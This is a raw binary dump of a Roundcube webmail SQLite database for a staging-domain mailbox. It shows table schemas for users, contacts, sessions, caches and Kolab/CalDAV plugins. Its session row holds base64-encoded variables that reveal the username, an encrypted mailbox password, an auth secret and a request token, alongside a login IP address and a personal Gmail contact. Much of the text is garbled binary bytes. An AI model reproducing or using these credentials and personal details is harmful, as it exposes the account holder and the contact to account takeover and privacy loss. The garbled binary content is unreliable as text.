���3M3)�e09b20d41296d3b296415ece0379c2e5f2025-04-01 05:23:51103.162.230.10bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5Njoibzc3MHliZkVjKzFZTm1CQ2ViWWltdjFxdHNvTzhUbjdvRFYyaUVrbkMzR3BwQytVcThIUG9iOHFlYnlQZEx6b2ovMHNuZSttQU8vcXEzeUVqVXIydkhrRVp5TlBYVE1VIjtsb2dpbl90aW1lfGk6MTc0MzQ4MDY5MTtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ1VjR4dDRpZFlxcnl6Smx4R3BhZHFrSUpoWVlUSER6aiI7cmVxdWVzdF90b2tlbnxzOjMyOiJDOTJpaFlXMlZ4QnpmMTl0MndydHR2c08yY1hSSjdBdSI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czoxMDoiSU5CT1guU2VudCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fXVuc2Vlbl9jb3VudHxhOjY6e3M6NToiSU5CT1giO2k6MTtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjEwOiJJTkJPWC5TZW50IjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTE6IklOQk9YLlRyYXNoIjtpOjA7czoxMzoiSU5CT1guQXJjaGl2ZSI7aTowO31TVE9SQUdFX0FDTHxiOjA7bGFzdF9jb21wb3NlX3Nlc3Npb258czoyMzoiMTE0NjM3MTA4MTY3ZWI2NzdhZGZlZDkiO2ZvbGRlcnN8YToyOntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjE7czo2OiJtYXh1aWQiO2k6MTt9czoxMDoiSU5CT1guU2VudCI7YToyOntzOjM6ImNudCI7aToxO3M6NjoibWF4dWlkIjtpOjE7fX1saXN0X21vZF9zZXF8czoxOiIyIjtTVE9SQUdFX1FSRVNZTkN8YjoxO2Jyb3dzZXJfY2Fwc3xhOjU6e3M6MzoicGRmIjtzOjE6IjEiO3M6NToiZmxhc2giO3M6MToiMCI7czo0OiJ0aWZmIjtzOjE6IjAiO3M6NDoid2VicCI7czoxOiIxIjtzOjc6InBncG1pbWUiO3M6MToiMCI7fXNhZmVfbWVzc2FnZXN8YToxOntzOjEyOiJJTkJPWC5TZW50OjEiO2I6MDt9d3JpdGVhYmxlX2Fib29rfGI6MTs=

�����wV=����^:
�!G0016-increasetextfieldlengths=0015-fixmysqlconstraints#K0014-unifytimestampdefaultvalue+[0013-changemysqlcollationscasesensitive=0012-fixmysqlconstraints
 E0011-unifymigrationsidcolumn!G0010-increasetextfieldlengths=0009-dropauthschemefield
/0008-unifyindexes	C0007-replaceurlplaceholders50006-rmgroupsnotnull E0005-changemysqlut8toutf8mb4!G0004-fixtimestampdefaultvalue!G0003-fixtimestampdefaultvalue!G0002-increasetextfieldlengths+0001-categories#	0000-dbinitgreasetrap.staging-area.xyz/info.rcube.db.1757480383000060000001700000151075366460015533 0ustar00SQLite format 3@  (xtl(.�*�b������V[DM.:'
00�MM33�iinfo@greasetrap.staging-area.xyzlocalhost2025-04-01 04:11:312025-06-23 16:41:04en_USa:3:{s:11:"client_hash";s:16:"XFCIw3877gUJKZMJ";s:9:"junk_mbox";s:10:"INBOX.spam";s:15:"namespace_fixed";b:1;}
��-M	info@greasetrap.staging-area.xyzlocalhost


��*	3/2025-04-01 04:11:31Imported Contacts
��		



��F	3/C	2025-04-01 04:11:54Anik.hasan04 2024anik.hasan04.2024@gmail.com
�� 		C	anik.hasan04.2024@gmail.com
��@
	3	

M


2025-04-01 04:11:31info@greasetrap.staging-area.xyz
��		
��$M	info@greasetrap.staging-area.xyz

	�Fc
���
/	��	h4��-�F�~�KtableresponsesresponsesCREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
)d3!�indexix_identities_emailidentitiesCREATE INDEX ix_identities_email ON identities(email, del)j
7!�	indexix_identities_user_ididentitiesCREATE INDEX ix_identities_user_id ON identities(user_id, del)�u!!�5tableidentitiesidentities
CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
)�I3�Oindexix_collected_addresses_user_idcollected_addressesCREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email)�~
33�#tablecollected_addressescollected_addressesCREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
)�	O3�1indexix_contactgroupmembers_contact_idcontactgroupmembers
CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)�33�]tablecontactgroupmemberscontactgroupmembersCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
)EY3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembers	v='�indexix_contactgroups_user_idcontactgroupsCREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del)�[''�utablecontactgroupscontactgroupsCREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
)b3�indexix_contacts_user_idcontactsCREATE INDEX ix_contacts_user_id ON contacts(user_id, del)��atablecontactscontactsCREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
)f/�indexix_users_usernameusersCREATE UNIQUE INDEX ix_users_username ON users(username, mail_host)��tableusersusersCREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
)

	��	wo	H<������K#�x��8
�
�
�bGG�A'�Qtablefilestorefilestore*CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
)m;%�indexix_cache_shared_expirescache_shared CREATE INDEX ix_cache_shared_expires ON cache_shared(expires)�6%%�/tablecache_sharedcache_sharedCREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
)7K%indexsqlite_autoindex_cache_shared_1cache_sharedP-kindexix_cache_expirescacheCREATE INDEX ix_cache_expires ON cache(expires)��tablecachecacheCREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
))=indexsqlite_autoindex_cache_1cacheA�-indexix_searches_user_type_namesearchesCREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name)��tablesearchessearchesCREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
)�C!�/indexix_dictionary_user_languagedictionaryCREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language)�U!!�utabledictionarydictionaryCREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
)Y1uindexix_session_changedsessionCREATE INDEX ix_session_changed ON session (changed)�V�tablesessionsessionCREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
)-Aindexsqlite_autoindex_session_1sessionf5�indexix_responses_user_idresponsesCREATE INDEX ix_responses_user_id ON responses(user_id, del),v&?)�indexix_cache_messages_expirescache_messages)CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);%O)indexsqlite_autoindex_cache_messages_1cache_messages(�u$))�%tablecache_messagescache_messages'CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
)n#;%�	indexix_cache_thread_expirescache_thread&CREATE INDEX ix_cache_thread_expires ON cache_thread (expires)7"K%indexsqlite_autoindex_cache_thread_1cache_thread%�(!%%�tablecache_threadcache_thread$CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)j 9#�indexix_cache_index_expirescache_index#CREATE INDEX ix_cache_index_expires ON cache_index (expires)5I#indexsqlite_autoindex_cache_index_1cache_index"�N##�ctablecache_indexcache_index!CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)�u��q_
����$Ma09415cd632064559ff511bf2f0571ea$Md76366c4c2ba713bad44cc81636609e7#M	09b20d41296d3b296415ece0379c2e5f
����32025-06-23 17:22:0432025-05-05 16:08:393	2025-04-01 05:23:51




ll�	u3�DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a2025-04-01 04:25:57czo0MzoiY2FsZW5kYXJzL2luZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6LyI7
��8	u	DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a
��3	2025-04-01 04:25:57














s���s$
;!calendar-caldav-version2024082600&	?!calendar-database-version2024082600-!libkolab-version2023111200/!roundcube-version2022081200
�����;calendar-caldav-version
?calendar-database-version	-libkolab-version/	roundcube-version
����bF
���.
�	2�q��D�v��HA
��I:--�Etablekolab_cache_notekolab_cache_note>CREATE TABLE kolab_cache_note (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)�x733�tablekolab_cache_journalkolab_cache_journal;CREATE TABLE kolab_cache_journal (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)p{(5�/indexix_filestore_user_idfilestore+CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename)�973�+indexix_journal_uid2msguidkolab_cache_journal=CREATE INDEX ix_journal_uid2msguid ON kolab_cache_journal(folder_id,uid,msguid)E8Y3indexsqlite_autoindex_kolab_cache_journal_1kolab_cache_journal<x61-�indexix_task_uid2msguidkolab_cache_task:CREATE INDEX ix_task_uid2msguid ON kolab_cache_task(folder_id,uid,msguid)?5S-indexsqlite_autoindex_kolab_cache_task_1kolab_cache_task9�o4--�tablekolab_cache_taskkolab_cache_task8CREATE TABLE kolab_cache_task (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)|33/�#indexix_event_uid2msguidkolab_cache_event7CREATE INDEX ix_event_uid2msguid ON kolab_cache_event(folder_id,uid,msguid)A2U/indexsqlite_autoindex_kolab_cache_event_1kolab_cache_event6�r1//�tablekolab_cache_eventkolab_cache_event5CREATE TABLE kolab_cache_event (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�073�+indexix_contact_uid2msguidkolab_cache_contact4CREATE INDEX ix_contact_uid2msguid ON kolab_cache_contact(folder_id,uid,msguid)r/+3�indexix_contact_typekolab_cache_contact3CREATE INDEX ix_contact_type ON kolab_cache_contact(folder_id,type)E.Y3indexsqlite_autoindex_kolab_cache_contact_1kolab_cache_contact2�p-33�tablekolab_cache_contactkolab_cache_contact1CREATE TABLE kolab_cache_contact (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)h,-'�	indexix_resource_typekolab_folders0CREATE INDEX ix_resource_type ON kolab_folders(resource, type)�+''�qtablekolab_folderskolab_folders/CREATE TABLE kolab_folders (
  folder_id INTEGER NOT NULL PRIMARY KEY,
  resource VARCHAR(255) NOT NULL,
  type VARCHAR(32) NOT NULL,
  synclock INTEGER NOT NULL DEFAULT '0',
  ctag VARCHAR(128) DEFAULT NULL,
  changed DATETIME DEFAULT NULL
)+*?indexsqlite_autoindex_system_1system-o)�9tablesystemsystem,CREATE TABLE system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
)
hh��c!3dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event17434806772025-04-01 00:15:57
��u�c	dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event



















*�E
�
�
�
�
<	��KK�v��*�H�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contact�|M55�tablekolab_cache_dav_taskkolab_cache_dav_taskRCREATE TABLE kolab_cache_dav_task (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)IL]7indexsqlite_autoindex_kolab_cache_dav_event_1kolab_cache_dav_eventQ�K77�tablekolab_cache_dav_eventkolab_cache_dav_eventPCREATE TABLE kolab_cache_dav_event (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)�J3;�%indexix_contact_type_davkolab_cache_dav_contactOCREATE INDEX ix_contact_type_dav ON kolab_cache_dav_contact(folder_id, type)MIa;indexsqlite_autoindex_kolab_cache_dav_contact_1kolab_cache_dav_contactN�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contactMCREATE TABLE kolab_cache_dav_contact (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id, uid)
)�G95�/indexix_freebusy_uid2msguidkolab_cache_freebusyLCREATE INDEX ix_freebusy_uid2msguid ON kolab_cache_freebusy(folder_id,uid,msguid)GF[5indexsqlite_autoindex_kolab_cache_freebusy_1kolab_cache_freebusyK�{E55�tablekolab_cache_freebusykolab_cache_freebusyJCREATE TABLE kolab_cache_freebusy (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�DC?�Cindexix_configuration_uid2msguidkolab_cache_configurationICREATE INDEX ix_configuration_uid2msguid ON kolab_cache_configuration(folder_id,uid,msguid)�
C7?�+indexix_configuration_typekolab_cache_configurationHCREATE INDEX ix_configuration_type ON kolab_cache_configuration(folder_id,type)QBe?indexsqlite_autoindex_kolab_cache_configuration_1kolab_cache_configurationG�A??�tablekolab_cache_configurationkolab_cache_configurationFCREATE TABLE kolab_cache_configuration (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)x@1-�indexix_file_uid2msguidkolab_cache_fileECREATE INDEX ix_file_uid2msguid ON kolab_cache_file(folder_id,uid,msguid)v?1-�indexix_folder_filenamekolab_cache_fileCCREATE INDEX ix_folder_filename ON kolab_cache_file(folder_id,filename)?>S-indexsqlite_autoindex_kolab_cache_file_1kolab_cache_fileB�o=--�tablekolab_cache_filekolab_cache_fileACREATE TABLE kolab_cache_file (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  filename varchar(255) DEFAULT NULL,
  PRIMARY KEY(folder_id,msguid)
)x<1-�indexix_note_uid2msguidkolab_cache_note@CREATE INDEX ix_note_uid2msguid ON kolab_cache_note(folder_id,uid,msguid)?;S-indexsqlite_autoindex_kolab_cache_note_1kolab_cache_note?

















�!Rf	�g�5C
�!!�[--�[tablecarddav_contactscarddav_contactsaCREATE TABLE carddav_contacts (
	id           integer NOT NULL PRIMARY KEY,
	abook_id     integer NOT NULL,
	name         VARCHAR(255) NOT NULL, 
	email        VARCHAR(255),          
	firstname    VARCHAR(255),
	surname      VARCHAR(255),
	organization VARCHAR(255),
	showas       VARCHAR(32) NOT NULL DEFAULT '', 
	vcard        TEXT NOT NULL,         
	etag         VARCHAR(255) NOT NULL, 
	uri          VARCHAR(255) NOT NULL, 
	cuid         VARCHAR(255) NOT NULL, 

	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)��GN[5indexsqlite_autoindex_kolab_cache_dav_task_1kolab_cache_dav_taskSmW;%�indexix_kolab_alarms_user_idkolab_alarms]CREATE INDEX ix_kolab_alarms_user_id ON kolab_alarms(user_id)7VK%indexsqlite_autoindex_kolab_alarms_1kolab_alarms\�oU%%�!tablekolab_alarmskolab_alarms[CREATE TABLE kolab_alarms (
  alarm_id VARCHAR(255) NOT NULL,
  user_id INTEGER NOT NULL,
  notifyat DATETIME DEFAULT NULL,
  dismissed TINYINT(3) NOT NULL DEFAULT '0',
  PRIMARY KEY(alarm_id,user_id)
)|T9+�!indexix_itipinvitations_uiditipinvitationsZCREATE INDEX ix_itipinvitations_uid ON itipinvitations(user_id, event_uid)=SQ+indexsqlite_autoindex_itipinvitations_1itipinvitationsYu�R++�mtableitipinvitationsitipinvitationsXCREATE TABLE itipinvitations (
  token varchar(64) NOT NULL PRIMARY KEY,
  event_uid varchar(255) NOT NULL,
  user_id integer NOT NULL default '0',
  event text NOT NULL,
  expires datetime NOT NULL default '1000-01-01 00:00:00',
  cancelled tinyint(1) NOT NULL default '0',
  CONSTRAINT fk_itipinvitations_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)�Q##�itableattachmentsattachmentsWCREATE TABLE attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL default '0',
  filename varchar(255) NOT NULL default '',
  mimetype varchar(255) NOT NULL default '',
  size integer NOT NULL default '0',
  data text NOT NULL default '',
  CONSTRAINT fk_attachment_event_id FOREIGN KEY (event_id)
    REFERENCES events(event_id)
)�JP�otableeventseventsUCREATE TABLE events (
  event_id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL default '0',
  recurrence_id integer NOT NULL default '0',
  uid varchar(255) NOT NULL default '',
  instance varchar(16) NOT NULL default '',
  isexception tinyint(1) NOT NULL default '0',
  created datetime NOT NULL default '1000-01-01 00:00:00',
  changed datetime NOT NULL default '1000-01-01 00:00:00',
  sequence integer NOT NULL default '0',
  start datetime NOT NULL default '1000-01-01 00:00:00',
  end datetime NOT NULL default '1000-01-01 00:00:00',
  recurrence varchar(255) default NULL,
  title varchar(255) NOT NULL,
  description text NOT NULL,
  location varchar(255) NOT NULL default '',
  categories varchar(255) NOT NULL default '',
  url varchar(255) NOT NULL default '',
  all_day tinyint(1) NOT NULL default '0',
  free_busy tinyint(1) NOT NULL default '0',
  priority tinyint(1) NOT NULL default '0',
  sensitivity tinyint(1) NOT NULL default '0',
  status varchar(32) NOT NULL default '',
  alarms text default NULL,
  attendees text default NULL,
  notifyat datetime default NULL,
  CONSTRAINT fk_events_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id)
)�O�}tablecalendarscalendarsTCREATE TABLE calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  name varchar(255) NOT NULL default '',
  color varchar(255) NOT NULL default '',
  showalarms tinyint(1) NOT NULL default '1',
  driver varchar(255) NOT NULL default 'database',
  CONSTRAINT fk_calendars_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)







��		
���3M3)�e09b20d41296d3b296415ece0379c2e5f2025-04-01 05:23:51103.162.230.10bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5Njoibzc3MHliZkVjKzFZTm1CQ2ViWWltdjFxdHNvTzhUbjdvRFYyaUVrbkMzR3BwQytVcThIUG9iOHFlYnlQZEx6b2ovMHNuZSttQU8vcXEzeUVqVXIydkhrRVp5TlBYVE1VIjtsb2dpbl90aW1lfGk6MTc0MzQ4MDY5MTtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ1VjR4dDRpZFlxcnl6Smx4R3BhZHFrS